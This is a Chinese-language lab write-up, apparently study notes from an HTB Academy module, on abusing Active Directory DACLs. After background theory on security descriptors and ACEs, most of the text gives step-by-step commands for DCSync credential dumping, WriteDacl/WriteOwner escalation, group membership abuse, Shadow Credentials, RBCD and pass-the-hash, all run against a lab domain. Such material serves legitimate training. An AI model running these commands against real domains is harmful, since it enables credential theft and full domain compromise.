ACL权限滥用
DACL概述
在 Windows 安全生态中,令牌(tokens)和安全描述符(security descriptors)是对象安全方程中的两个主要变量。令牌用于标识进程或线程的安全上下文,而安全描述符则包含与对象关联的安全信息。为了实现 CIA 三元组中的机密性(Confidentiality)支柱,许多操作系统和目录服务都会使用访问控制列表(Access Control Lists,ACLs)。
根据 RFC4949,ACL 是一种“通过枚举被允许访问某个系统资源的系统实体,并显式或隐式地声明授予每个实体的访问模式,来为系统资源实现访问控制的机制”。
访问控制策略规定了允许哪些类型的访问、在什么情况下允许访问,以及由谁访问。访问控制策略通常分为四大类:
- 自主访问控制(Discretionary access control,DAC)
- 强制访问控制(Mandatory access control,MAC)
- 基于角色的访问控制(Role-based access control,RBAC)
- 基于属性的访问控制(Attribute-based access control,ABAC)。
DAC 是实现访问控制的传统方法,它基于请求者的身份以及访问规则来控制访问,这些规则说明请求者被允许(或不被允许)执行哪些操作。它被称为“自主的”,是因为某个实体可能拥有访问权限,使其能够按照自己的意愿允许另一个实体访问某些资源;这与 MAC 不同,在 MAC 中,拥有某个资源访问权限的实体不能仅凭自己的意愿就允许另一个实体访问该资源。Windows 就是一个 DAC 操作系统的例子,它使用自主访问控制列表(Discretionary access control lists,DACLs)。
安全描述符
DACL 是安全描述符这个更大概念的一部分。下面回顾安全描述符,以便更好地理解它们以及它们在访问控制模型中的角色。
在 Windows 中,每个对象(也称为可保护对象,securable objects)都有一个安全描述符数据结构,用于指定谁可以对该对象执行哪些操作。安全描述符是一个二进制数据结构,尽管其长度和具体内容可能不同,但它可以包含六个主要字段:
- 修订号(Revision Number):创建该描述符时所使用的安全模型的 SRM(Security Reference Monitor,安全引用监视器)版本。
- 控制标志(Control Flags):可选的修饰符,用于定义安全描述符的行为或特征。
- 所有者 SID(Owner SID):对象所有者的 SID
- 组 SID(Group SID):对象主组的 SID。只有 Windows POSIX 子系统曾使用该成员(该子系统后来已停止),如今大多数 AD 环境都会忽略它。
- 自主访问控制列表(Discretionary access control list,DACL):指定谁对该对象拥有什么访问权限。在 DACL Attacks 小模块中,我们主要关注的就是滥用和攻击这些 DACL。
- 系统访问控制列表(System access control list,SACL):指定哪些用户的哪些操作应当被记录到安全审计日志中,以及对象的显式完整性级别。
安全描述符可以有两种形式:绝对形式(absolute)或自相对形式(self-relative)。绝对安全描述符包含指向信息的指针(也就是说,并不直接包含实际信息本身),就像上面的 SECURITY_DESCRIPTOR 结构体一样。无论是与 AD 对象交互还是与非 AD 对象交互,我们通常遇到的都是这种形式。
自相对安全描述符并没有太大不同:它们不存储指针,而是把安全描述符的实际数据存放在一个连续的内存块中。它们的用途是在磁盘上存储安全描述符,或者通过网络传输安全描述符
在 SECURITY_DESCRIPTOR 结构体的七个成员中,有四个成员与 DACL 利用有关;因此,我们会回顾这些成员,理解它们分别是什么。
Control
Control 成员的类型是 SECURITY_DESCRIPTOR_CONTROL,它是一组 16 位的位标志,用于限定安全描述符或其组成部分的含义。通过 GetSecurityDescriptorControl 函数获取 Control 的值时,它可以包含 13 个位标志的组合:
| 标志 | 十六进制表示 |
|---|---|
| SE_DACL_AUTO_INHERIT_REQ | 0x0100 |
| SE_DACL_AUTO_INHERITED | 0x0400 |
| SE_DACL_DEFAULTED | 0x0008 |
| SE_DACL_PRESENT | 0x0004 |
| SE_DACL_PROTECTED | 0x1000 |
| SE_GROUP_DEFAULTED | 0x0002 |
| SE_OWNER_DEFAULTED | 0x0001 |
| SE_SACL_AUTO_INHERIT_REQ | 0x0200 |
| SE_SACL_AUTO_INHERITED | 0x0800 |
| SE_SACL_DEFAULTED | 0x0008 |
| SE_SACL_PRESENT | 0x0010 |
| SE_SACL_PROTECTED | 0x2000 |
| SE_SELF_RELATIVE | 0x8000 |
这些二进制标志可以相加,以表示任意组合。例如,如果 Control 的值为 0x8014,就表示存在 SE_DACL_PRESENT、SE_SACL_PRESENT 和 SE_SELF_RELATIVE 这几个标志。
我们需要重点了解的一个标志是 SE_DACL_PRESENT:SE_DACL_PRESENT表示该安全描述符具有 DACL。如果未设置该标志,或者设置了该标志但 DACL 为 NULL,则该安全描述符允许所有人完全访问。空 DACL 则不允许任何人访问。
Owner
Owner 和 Group 成员分别包含指向对象所有者和主组的安全标识符(Security Identifier,SID)的指针。对象所有者始终会被授予对安全描述符的完全控制权,因为他们会被隐式授予访问权限 RIGHT_WRITE_DAC(WriteDacl)和 RIGHT_READ_CONTROL(ReadControl)。
Sacl和Dacl
在 Windows 中,SACL(System access control list,系统访问控制列表)和 DACL(Discretionary access control lists,自主访问控制列表)是两种类型的访问控制列表(ACLs)。它们都由一个头部以及零个或多个访问控制项(ACEs)组成。(在安全领域文献中,使用 ACL 一词时通常指 DACL,尤其是在 Windows 系统中。)
SACL 包含一些 ACE,这些 ACE 决定哪些类型的访问尝试会在域控制器的安全事件日志中生成审计记录;因此,SACL 允许管理员记录针对可保护对象的访问尝试。SACL 中有两类 ACE:系统审计 ACE(system audit ACEs)和系统审计对象 ACE(system audit-object ACEs)。
而 DACL 保存的 ACE 决定了哪些主体(principals)对某个特定对象拥有控制权限。在 Windows 内部,DACL 由一个 ACL 以及其后按顺序排列的零个或多个 ACE 组成(SACL 也是如此)。下面是 ACL 的结构体定义;认识这些结构体定义,有助于我们后续从内核视角查看安全描述符:1
2
3
4
5
6
7
8typedef struct _ACL {
BYTE AclRevision;
BYTE Sbz1;
WORD AclSize;
WORD AceCount;
WORD Sbz2;
} ACL;
通用ACE与对象特定ACE
ACE 包含一组用户权限和一个 SID,该 SID 标识一个主体;这些权限可能是允许、拒绝或审计。通用 ACE 的结构由 ACE 大小、ACE 标志、ACE 类型、ACCESS_MASK 和安全标识符组成。
Windows 在内部通过 ACE_HEADER 结构体表示 ACE:
1 | typedef struct _ACE_HEADER { |
在 DACL 中可以有九类 ACE。每类 ACE 都包含 ACE_HEADER 结构体作为成员,此外还包含 Mask 成员(类型为 ACCESS_MASK,用于定义标准权限、特定权限和通用权限)以及 SidStart(保存受托者 SID 的前 32 位):
- Access Allowed
- Access Denied
- Access Allowed Object
- Access Denied Object
- Access Allowed Callback
- Access Denied Callback
- Access Allowed Object Callback
- Conditional Claims
主要类型
| ACE | 含义 |
|---|---|
| ACCESS_ALLOWED_ACE | 允许特定安全主体(用户或组)访问 Active Directory 对象,例如用户账户或组。Access Allowed ACE 指定该安全主体可以对对象执行哪些权限,例如读取、写入或修改。 |
| ACCESS_ALLOWED_OBJECT_ACE | 一种特定类型的 Access Allowed ACE,应用于某个对象,并授予对该对象本身以及它所包含的任何子对象的访问权限。Access Allowed Object ACE 可以让安全主体拥有访问对象及其子对象所需的权限,而不必对每个子对象分别应用单独的 ACE。 |
| ACCESS_DENIED_ACE | 拒绝特定安全主体访问 Active Directory 对象,例如用户账户或组。Access Denied ACE 指定该安全主体不允许对对象执行哪些权限,例如读取、写入或修改。 |
| ACCESS_DENIED_OBJECT_ACE | 一种特定类型的 Access Denied ACE,应用于某个对象,并限制对该对象本身以及它所包含的任何子对象的访问。Access Denied Object ACE 可以用来阻止安全主体访问对象及其子对象,而不必对每个子对象分别应用单独的 ACE。 |
你可能已经注意到,有些 ACE 名称中包含 Object 关键字。这些是对象特定 ACE(object-specific ACEs),只在 Active Directory 中使用。除了通用 ACE 结构中的成员外,对象特定 ACE 还包含以下成员:
- ObjectType:一个 GUID,可包含子对象类型、属性集或属性、扩展权限,或者 validated write。
- InheritedObjectType:指定可以继承该 ACE 的子对象类型。
- Flags:通过一组位标志指示 ObjectType 和 InheritedObjectType 成员是否存在。
查看权限
使用dsacls
dsacls(相当于 ADUC 属性对话框中 Security 选项卡的命令行版本)是 Windows 原生命令行程序,可以显示和更改 AD 对象 ACL 中的 ACE/权限。下面查看 inlanefreight.local 域中用户 Yolanda 的 ACL:1
2dsacls.exe "cn=Yolanda,cn=users,dc=inlanefreight,dc=local"
Owner: INLANEFREIGHT\Domain Admins
我们还可以更具体,只取出其他用户对 Yolanda 拥有哪些权限。例如,枚举 Pedro 对 Yolanda 具有的权限:1
dsacls.exe "cn=Yolanda,cn=users,dc=inlanefreight,dc=local" | Select-String "Pedro"
使用 PowerShell、DirectoryServices 和 ActiveDirectorySecurity
1 | $directorySearcher = New-Object System.DirectoryServices.DirectorySearcher('(samaccountname=Yolanda)') |
现在我们已经以二进制 blob 的形式拿到了 Yolanda 的安全描述符,接下来需要使用 ActiveDirectorySecurity 类中的 SetSecurityDescriptorBinaryForm 函数解析它。然后就可以查看 Yolanda 的所有 ACE:
1 | $parsedSecurityDescriptor = New-Object System.DirectoryServices.ActiveDirectorySecurity |
我们也可以进一步筛选,只取出 Pedro 对 Yolanda 拥有的权限:1
$parsedSecurityDescriptor.Access | Where-Object {$_.IdentityReference -like '*Pedro*'}
查看进程的DACL
本地内核调试
若要从内部查看 explorer.exe 进程的 DACL,需要解引用 explorer.exe 的 ObjectHeader 成员中的 SecurityDescriptor 指针(可以通过本地内核调试和 WinDbg 完成)。这样可以让我们检查 Windows 内核如何看待安全描述符:1
!sd 0xffffd08f`3b15a12f & -10
使用 AccessChk
1 | accesschk64.exe -p "explorer.exe" -l |
如前所述,DACL 由一个 ACL 数据结构以及其后按顺序排列的零个或多个 ACE 数据结构组成。AD 对象的 DACL 与普通对象的 DACL 唯一区别在于 Mask 等成员可以具有的值不同。
DACL枚举
在开始枚举和攻击 DACL 之前,需要理解两个重要的 ACE 概念:访问掩码(Access Masks)和访问权限(Access Rights)。
访问掩码与访问权限
对于 AD 对象,访问掩码包含下列值的组合(以 big-endian 格式表示)。需要注意的是,X 表示在 AD DACL 中会被忽略的位。
访问掩码解释
| 显示名称 | 常用名称 | 十六进制值 | 解释 |
|---|---|---|---|
| GenericAll | GA / RIGHT_GENERIC_ALL | 0x10000000 | 允许创建或删除子对象、删除子树、读取和写入属性、检查子对象和对象本身,将对象添加到目录或从目录中移除,以及使用扩展权限进行读取或写入。对于 AD 对象,它等价于对象特定访问权限位 (DE |
| GenericExecute | GX / RIGHT_GENERIC_EXECUTE | 0x20000000 | 允许读取权限,以及列出容器对象的内容。对于 AD 对象,它等价于对象特定访问权限位 (RC |
| GenericWrite | GW / RIGHT_GENERIC_WRITE | 0x40000000 | 允许读取该对象的权限、写入该对象的所有属性,并对该对象执行所有 validated writes。对于 AD 对象,它等价于对象特定访问权限位 (RC |
| GenericRead | GR / RIGHT_GENERIC_READ | 0x80000000 | 允许读取该对象的权限、读取该对象的所有属性,在列出父容器时列出该对象名称,如果该对象是容器,还允许列出该对象的内容。对于 AD 对象,它等价于对象特定访问权限位 (RC |
标准访问限位
| 显示名称 | 常用名称 | 十六进制值 | 解释 |
|---|---|---|---|
| WriteDacl | WD / RIGHT_WRITE_DAC | 0x00040000 | 允许修改对象安全描述符中的自主访问控制列表 (DACL)。 |
| WriteOwner | WO / RIGHT_WRITE_OWNER | 0x00080000 | 允许修改对象安全描述符中的所有者。用户只能取得对象所有权,但不能把对象所有权转移给其他用户。 |
| ReadControl | RC / RIGHT_READ_CONTROL | 0x00020000 | 允许读取对象安全描述符中的数据,但是这不包括 SACL 的数据。 |
| Delete | DE / RIGHT_DELETE | 0x00010000 | 允许删除该对象。 |
对象特定访问访问权限位
对应整理成一个表格如下:
| 常用名称 | 十六进制值 | 解释 | 对应/别名 |
|---|---|---|---|
| CR / RIGHT_DS_CONTROL_ACCESS | 0x00000100 | 允许执行由控制访问权限(control access right)控制的操作。ACE 的 ObjectType 成员可以包含一个 GUID,用于标识该控制访问权限。如果 ObjectType 不包含 GUID,则该 ACE 控制执行与对象关联的所有控制访问权限所控制操作的权利。尤其当 ObjectType 不包含 GUID 时,也常被称为 AllExtendedRights。 |
AllExtendedRights |
| WP / RIGHT_DS_WRITE_PROPERTY | 0x00000020 | 允许写入对象属性。ACE 的 ObjectType 成员可以包含一个 GUID,用于标识属性集或某个属性。如果 ObjectType 不包含 GUID,则该 ACE 控制写入该对象所有属性的权利。 |
WriteProperty |
| VW / RIGHT_DS_WRITE_PROPERTY_EXTENDED | 0x00000008 | 允许执行由“经过验证的写入”(validated write)访问权限控制的操作。ACE 的 ObjectType 成员可以包含一个 GUID,用来标识具体的 validated write。如果 ObjectType 不包含 GUID,则该 ACE 控制对该对象关联的所有 validated write 操作的执行权限。它也常被称为 Self。 |
Self / Validated Write |
破解说明
扩展访问权限
我们会滥用 56 个扩展访问权限中的 3 个。
| Display Name / 显示名称 | Common Name / 通用名称 | Rights-GUID Value / 权限 GUID 值 | Interpretation / 说明 |
|---|---|---|---|
| Reset Password / 重置密码 | User-Force-Change-Password | 00299570-246d-110d-a768-00aa006e0529 | 允许在不知道旧密码的情况下重置用户账户密码。这与 User-Change-Password 不同,后者确实要求知道旧密码。 |
| Replicating Directory Changes / 复制目录更改 | DS-Replication-Get-Changes | 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 | 从给定的 NC(Naming Context,命名上下文)复制变更所需。执行 DCSync 攻击需要该扩展权限以及 DS-Replication-Get-Changes-All。 |
| Replicating Directory Changes All / 复制所有目录更改 | DS-Replication-Get-Changes-All | 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 | 允许复制域中的机密数据。执行 DCSync 攻击需要该扩展权限以及 DS-Replication-Get-Changes。 |
经验证写入
五种 validated writes 中有两种可以被滥用
| Display Name / 显示名称 | Common Name / 通用名称 | Rights-GUID Value / 权限 GUID 值 | Interpretation / 说明 |
|---|---|---|---|
| Add/Remove self as member / 将自己添加为成员/移除自己的成员身份 | Self-Membership | bf9679c0-0de6-11d0-a285-00aa003049e2 | Allows editing the member attribute, therefore enabling setting membership of groups. / 允许编辑 member 属性,因此可以设置组成员关系。 |
| Validated write to service principal name / 对服务主体名称的经验性写入 | Validated-SPN | f3a64788-5306-11d1-a9c5-0000f80367c1 | Allows editing the Service Principal Name (SPN) attribute. / 允许编辑 Service Principal Name(SPN,服务主体名称)属性。 |
枚举DACL
可以使用一些自动化工具来检查/枚举对象的 DACL,从而了解其他安全主体对该对象拥有哪些访问权限。
在 Windows 系统上,可以使用 PowerSploit 的 PowerView 中的 Get-DomainObjectAcl 和 Add-DomainObjectAcl,也可以使用 PowerShell 内置 Cmdlets 中的 Get-Acl 和 Set-Acl 函数。
在linux系统上,可以使用 impacket 的 dacledit.py 来完成这个目的。
dacledit读取用户的DACL
-action 定义要执行的操作。在下面的示例中,它必须设置为 read。如果未设置该参数,则默认值为 read。其他可用动作包括 write、remove、backup 和 restore。
-target、-target-sid 或 -target-dn 分别用于指定要检索并解析 DACL 的对象的 sAMAccountName、Security IDentifier(安全标识符)或 Distinguished Name(可分辨名称)。
-principal、-principal-sid 或 -principal-dn 分别用于指定要在解析后的 DACL 中查找和过滤的主体的 sAMAccountName、Security Identifier 或 Distinguished Name。这个参数非常方便,可以快速判断某个特定主体在目标对象上能做什么或不能做什么。
1 | dacledit.py -target htb-student -dc-ip 10.129.205.81 inlanefreight.local/htb-student:'HTB_@cademy_stdnt!' |
使用 BloodHound 审计 DACL
在某些特定情况下,手动枚举对象的 DACL 很有用;但由于 Active Directory 域中的访问权限数量巨大,单靠手动枚举并不能轻松审计所有访问权限。
BloodHound 是最著名的 Active Directory 审计工具之一。它会收集所有 DACL 并进行关联分析,使权限关系能够以图模型的方式呈现,从而更容易发现可被滥用的访问权限。下方截图中,一些边(红色高亮)展示了可被滥用的访问权限/特权。
BloodHound 通过将控制权限分成两类来降低审计难度:
- 入站控制权限(Inbound Control Rights):类似于检查某个对象自身的 DACL。
- 出站控制权限(Outbound Control Rights):聚合并关联整个域中所有 DACL 里对该对象 SID 的引用。
ACL的滥用
| 方法 | 主要目标 | 需要什么权限 | 结果 | 是否需要爆破 |
|---|---|---|---|---|
| Kerberoasting | 已有 SPN 的用户/服务账号 | 普通域用户即可 | TGS hash | 需要 |
| Targeted Kerberoasting | 没有 SPN 但你能写 SPN 的用户 | GenericWrite / WriteSPN |
TGS hash | 需要 |
| Shadow Credentials | 用户或机器账号 | 能写 msDS-KeyCredentialLink |
目标账号身份 / TGT / hash | 通常不需要 |
| RBCD | 机器账号 / 目标主机 | 能写目标机器的 RBCD 属性 | 伪装用户访问目标机器服务 | 不需要 |
AddMember权限的滥用
Linux滥用AddMember
在 Linux 系统中滥用 AddMember 权限时,可以使用 net 工具。net 是一个内置工具,可用于管理 Samba 以及 CIFS/SMB 客户端。不过,它无法配合 Self-Membership 权限使用,因为 net 通过 SMB 协议和 RPC 远程调用来修改组成员关系。也就是说,除了 Self-Membership 之外,如果拥有其他可写成员权限,net 才更合适。
先尝试使用一个没有管理员权限的账户查询 Backup Operators 组成员:
使用ldap添加用户
如果使用net添加用户:1
2net rpc group addmem 'Backup Operators' pedro -U \
inlanefreight.local/pedro%SecuringAD01 -S 10.129.205.81
会拒绝,因为net不能使用addmember添加
查询信息
查询用户DN:1
2
3
4
5ldapsearch -x -H ldap://10.129.205.81 \
-D 'inlanefreight.local\pedro' \
-w 'SecuringAD01' \
-b 'DC=inlanefreight,DC=local' \
'(sAMAccountName=pedro)' distinguishedName
查询组DN:1
2
3
4
5ldapsearch -x -H ldap://10.129.205.81 \
-D 'inlanefreight.local\pedro' \
-w 'SecuringAD01' \
-b 'DC=inlanefreight,DC=local' \
'(cn=Backup Operators)' distinguishedName
添加LDIF文件
需要写入LDIF文件,使用ldap添加
添加文件:1
2
3
4dn: CN=Backup Operators,CN=Builtin,DC=inlanefreight,DC=local
changetype: modify
add: member
member: CN=pedro,CN=Users,DC=inlanefreight,DC=local
添加用户到组
1 | ldapmodify -x -H ldap://10.129.205.81 \ |
使用net查询组成员
1 | net rpc group members 'Backup Operators' -U \ |
windows滥用AddMember
使用 PowerView 添加用户到组(命令 + 结果):1
Add-DomainGroupMember -Identity "Backup Operators" -Members pedro -Verbose
GetChangesAll与GetChanges权限滥用
攻击原理
在 AD 中,DCSync 不是传统意义上的漏洞,而是滥用域对象上的复制权限。
如果某个用户对域根对象拥有以下两个扩展权限:
1 | DS-Replication-Get-ChangesDS-Replication-Get-Changes-All |
那么该用户就可以伪装成域控,向真正的 DC 请求复制域内账户凭据数据。
常见表现为:
1 | 1. 获得一个普通域用户凭据 |
需要的权限
DCSync 最核心需要两个权限:
| 权限 | Common Name | 作用 |
|---|---|---|
| 复制目录更改 | DS-Replication-Get-Changes | 允许复制目录变更 |
| 复制所有目录更改 | DS-Replication-Get-Changes-All | 允许复制敏感目录数据,例如密码 Hash |
有时还会看到第三个:
1 | DS-Replication-Get-Changes-In-Filtered-Set |
但在很多靶场和常见环境里,最常见的是:
1 | GetChanges + GetChangesAll |
攻击链总结
1 | 1. 获得一个普通域用户凭据 |
Windows 下利用
1. 使用 mimikatz DCSync
在 Windows 上可以用 mimikatz:
1 | lsadump::dcsync /domain:inlanefreight.local /user:Administrator |
导出 krbtgt:
1 | lsadump::dcsync /domain:inlanefreight.local /user:krbtgt |
如果成功,会看到用户的 NTLM Hash。
2. 使用 PowerView 检查 DCSync 权限
先导入 PowerView:
1 | Import-Module .\PowerView.ps1 |
查看当前用户对域对象的 ACL:
1 | Get-DomainObjectAcl -Identity "DC=inlanefreight,DC=local" -ResolveGUIDs |? {$_.SecurityIdentifier -eq (ConvertTo-SID pedro)} |
重点看:
1 | DS-Replication-Get-ChangesDS-Replication-Get-Changes-All |
或者看 ObjectAceType 是否对应这两个权限。
Linux 下利用
假设当前用户为:
1 | inlanefreight.local\pedro |
密码为:
1 | SecuringAD01 |
DC IP 为:
1 | 10.129.205.81 |
1. 使用 secretsdump 执行 DCSync
1 | secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 |
或者新版 Impacket:
1 | impacket-secretsdump inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 |
如果权限正确,会看到类似输出:
1 | [*] Dumping Domain Credentialsinlanefreight.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:NTLM_HASH:::inlanefreight.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:NTLM_HASH:::inlanefreight.local\user:1105:aad3b435b51404eeaad3b435b51404ee:NTLM_HASH::: |
2. 只导出指定用户 Hash
如果只想导出 Administrator:
1 | secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 \-just-dc-user Administrator |
新版:
1 | impacket-secretsdump inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 \-just-dc-user Administrator |
只导出 krbtgt:
1 | secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 \-just-dc-user krbtgt |
3. 只导出 NTDS 数据
1 | secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 \-just-dc |
常用参数含义:
| 参数 | 作用 |
|---|---|
-just-dc |
只执行 DC 相关 Hash 导出 |
-just-dc-user 用户名 |
只 DCSync 指定用户 |
-hashes LMHASH:NTHASH |
使用 Hash 认证 |
-k |
使用 Kerberos 认证 |
-dc-ip |
指定域控 IP |
使用 Hash 执行 DCSync
如果拿到的是 Pedro 的 NTLM Hash,不知道明文密码,可以这样:
1 | secretsdump.py inlanefreight.local/pedro@10.129.205.81 \-hashes :NTLM_HASH |
例如:
1 | secretsdump.py inlanefreight.local/pedro@10.129.205.81 \-hashes :64f12cddaa88057e06a81b54e73b949b |
使用 Kerberos 票据执行 DCSync
如果已经有 ccache:
1 | export KRB5CCNAME=pedro.ccache |
然后执行:
1 | secretsdump.py -k -no-pass inlanefreight.local/pedro@dc01.inlanefreight.local \-dc-ip 10.129.205.81 |
注意:
如果你是刚刚通过 DACL 把用户加了权限,旧的 Kerberos 票据可能没有新权限,需要重新申请 TGT:
1 | kdestroygetTGT.py inlanefreight.local/pedro:'SecuringAD01'export KRB5CCNAME=pedro.ccache |
WriteDacl权限滥用
如果当前拥有 WriteDacl,可以先给自己添加 DCSync 权限
有时用户一开始没有 GetChanges / GetChangesAll,但对域根对象有:
1 | WriteDaclGenericAllGenericWriteWriteOwner |
其中如果有 WriteDacl,可以给自己添加 DCSync 权限。
Windows PowerView 添加 DCSync 权限
1 | Add-DomainObjectAcl -TargetIdentity "DC=inlanefreight,DC=local" `-PrincipalIdentity pedro `-Rights DCSync `-Verbose |
然后执行:
1 | Get-DomainObjectAcl -Identity "DC=inlanefreight,DC=local" -ResolveGUIDs |? {$_.IdentityReference -match "pedro"} |
再用 mimikatz:
1 | lsadump::dcsync /domain:inlanefreight.local /user:krbtgt |
或者 Linux 下:
1 | secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 |
Linux 下使用 bloodyAD 添加 DCSync 权限
如果当前用户对域对象有 WriteDacl,可以用 bloodyAD 添加 DCSync 权限:
1 | bloodyAD --host 10.129.205.81 \-d inlanefreight.local \-u pedro \-p 'SecuringAD01' \add dcsync pedro |
然后执行:
1 | secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 |
利用成功后的后续攻击
拿到 Hash 后,可以继续做:
1. Pass-the-Hash 登录目标
1 | psexec.py inlanefreight.local/Administrator@10.129.205.81 \-hashes :ADMIN_NTLM_HASH |
或者:
1 | wmiexec.py inlanefreight.local/Administrator@10.129.205.81 \-hashes :ADMIN_NTLM_HASH |
2. 获取 krbtgt Hash 后制作 Golden Ticket
如果 DCSync 拿到了 krbtgt Hash,就可以伪造金票。
攻击链:
1 | DCSync |
常见工具:
1 | mimikatzticketer.py |
3. 导出所有域用户 Hash 后离线爆破
1 | secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 \-outputfile dcsync_hashes |
然后可以对 NTLM Hash 做离线破解。
Writeowner权限滥用
攻击原理
WriteOwner 表示当前用户可以修改目标对象的 Owner / 所有者。
在 AD 中,如果一个用户成为某个对象的所有者,通常就可以进一步修改该对象的 DACL。
所以 WriteOwner 常见的利用思路是:
攻击链:1
2
3
4
5
6
7
8
9
10
11Pedro
↓
对 Backup Operators 有 WriteOwner
↓
把 Backup Operators 的 Owner 改成 Pedro
↓
Pedro 作为 Owner,可以修改该对象的 DACL
↓
给自己添加 GenericAll / WriteMembers / AddMember
↓
再把自己加入 Backup Operators
Linux 下利用
1. 修改目标对象所有者
使用 Impacket 的 owneredit.py:
1 | owneredit.py -action write -new-owner pedro \ |
含义:
| 参数 | 说明 |
|---|---|
-action write |
写入新的所有者 |
-new-owner pedro |
把所有者改成 pedro |
-target "Backup Operators" |
目标对象 |
-dc-ip |
指定域控 IP |
给自己添加完全控制权限
修改 Owner 后,再使用 dacledit.py 给自己添加 FullControl:
1 | dacledit.py -action write \-rights FullControl \-principal pedro \-target "Backup Operators" \inlanefreight.local/pedro:'SecuringAD01' \-dc-ip 10.129.205.81 |
新版 Impacket:
1 | impacket-dacledit -action write \-rights FullControl \-principal pedro \-target "Backup Operators" \inlanefreight.local/pedro:'SecuringAD01' \-dc-ip 10.129.205.81 |
这里的意思是:
1 | 给 pedro 添加对 Backup Operators 的完全控制权限 |
添加完之后,Pedro 就不只是 Owner 了,而是对该组拥有 GenericAll / FullControl。
3. 把自己加入目标组
可以使用 bloodyAD:
1 | bloodyAD --host 10.129.205.81 \ |
或者使用 LDAP 方式:
1 | dn: CN=Backup Operators,CN=Builtin,DC=inlanefreight,DC=localchangetype: modifyadd: membermember: CN=pedro,CN=Users,DC=inlanefreight,DC=local |
保存为:
1 | addmember.ldif |
然后执行:
1 | ldapmodify -x -H ldap://10.129.205.81 \-D 'inlanefreight.local\pedro' \-w 'SecuringAD01' \-f addmember.ldif |
4. 查询是否添加成功
使用 net 查询组成员:
1 | net rpc group members 'Backup Operators' \ |
或者使用 LDAP 查询:
1 | ldapsearch -x -H ldap://10.129.205.81 \ |
Windows 下利用
使用 PowerView 修改 Owner
导入 PowerView:
1 | Import-Module .\PowerView.ps1 |
修改目标对象所有者:
1 | Set-DomainObjectOwner -Identity "Backup Operators" -OwnerIdentity pedro |
给自己添加完全控制权限
1 | Add-DomainObjectAcl -TargetIdentity "Backup Operators" `-PrincipalIdentity pedro `-Rights All `-Verbose |
或者针对组成员修改权限:
1 | Add-DomainObjectAcl -TargetIdentity "Backup Operators" `-PrincipalIdentity pedro `-Rights WriteMembers `-Verbose |
把自己加入目标组
1 | Add-DomainGroupMember -Identity "Backup Operators" -Members pedro -Verbose |
验证:
1 | Get-DomainGroupMember -Identity "Backup Operators" |
完整攻击链总结
1 | WriteOwner |
注意事项
如果你已经把自己加入目标组,但新权限没有立即生效,可能需要重新认证:
1 | kdestroy |
如果使用密码认证,重新执行工具通常就是一次新的认证。
如果使用 Kerberos ccache,需要重新申请 TGT:
1 | getTGT.py inlanefreight.local/pedro:'SecuringAD01'export KRB5CCNAME=pedro.ccache |
GenericALL权限滥用
目标为正常用户
攻击链1:重置密码
1 | Pedro |
Linux:
1 | bloodyAD --host 10.129.205.81 \-d inlanefreight.local \-u pedro \-p 'SecuringAD01' \set password Rita NewPassword123! |
Windows:
1 | Set-DomainUserPassword |
攻击链2:Shadow Credentials
如果目标dc配置证书服务,且具备全局权限,还支持远程pkinit认证,则可以直接打影子凭证完全控制1
2
3
4
5
6
7
8
9GenericAll
↓
写 msDS-KeyCredentialLink
↓
Shadow Credentials
↓
获取 TGT
↓
接管账户
1 | certipy shadow auto \ |
执行后会生成证书并写入msDS-KeyCredentalLink
目标为机器用户
攻击链1:Shadow Credentials
1 | certipy shadow auto \ |
攻击链2:RBCD
基于资源的约束委派
当我们对目标机器账户有 GenericAll 时,可以修改目标机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity
让我们控制的机器账户可以代表任意用户访问目标机器服务
创建攻击机器账户
如果域内允许普通用户创建机器账户,可以创建一个:
1 | addcomputer.py inlanefreight.local/pedro:'SecuringAD01' \-computer-name 'HACKTHEBOX$' \-computer-pass 'Hackthebox123!' \-dc-ip 10.129.205.81 |
如果已经有一个可控机器账户,这一步可以省略。
配置 RBCD
把 HACKTHEBOX$ 写入目标机器的 RBCD 属性。
例如目标是 DC01$:
1 | rbcd.py inlanefreight.local/pedro:'SecuringAD01' \ |
这一步才是 RBCD 的核心。
含义:
1 | 允许 HACKTHEBOX$ 代表其他用户访问 DC01$ |
申请 Administrator 的服务票据
1 | getST.py -spn cifs/DC01.inlanefreight.local \ |
成功后会生成类似:
1 | Administrator.ccache |
导入票据
1 | export KRB5CCNAME=Administrator.ccache |
查看:
1 | klist |
使用票据访问目标机器
1 | psexec.py -k -no-pass dc01.inlanefreight.local |
或者:
1 | wmiexec.py -k -no-pass dc01.inlanefreight.local |
GenericWrite权限滥用
目标为机器用户
当对目标计算机对象拥有 GenericWrite 权限时,常见利用方式不是 Kerberoasting,而是Shadow CredentialsRBCD / 基于资源的约束委派
方式一:Shadow Credentials
如果目标机器账号支持 PKINIT,并且当前用户可以写目标对象的 msDS-KeyCredentialLink 属性,可以通过 Shadow Credentials 给目标机器账号添加一个伪造证书凭据。
成功后可以获得目标机器账号的身份,例如:
1 | TARGET$ |
常见工具:
1 | certipy shadow auto -u "$USER@$DOMAIN" -p "$PASSWORD" -account "$TARGET$" -dc-ip "$DC_IP" |
含义:
1 | 给目标机器账号写入 KeyCredential→ 使用证书认证为 TARGET$→ 获取目标机器账号的 TGT / NT hash→ 自动清理写入的 KeyCredential |
如果目标是普通工作站,拿到的是该机器账号身份。
如果目标是域控机器账号,例如:
1 | DC01$ |
影响会非常严重,因为域控机器账号本身在域内权限很高。
对机器账号拥有 GenericWrite 时,可以滥用
msDS-KeyCredentialLink进行 Shadow Credentials 攻击,从而以目标机器账号身份进行认证。相比 Kerberoasting,Shadow Credentials 对机器账号更实用,因为机器账号密码通常很强,离线爆破成功率低。
方式二:RBCD
如果可以写目标机器对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,可以配置 RBCD,让自己控制的机器账号被允许代表任意用户访问目标机器上的服务。
基本流程:
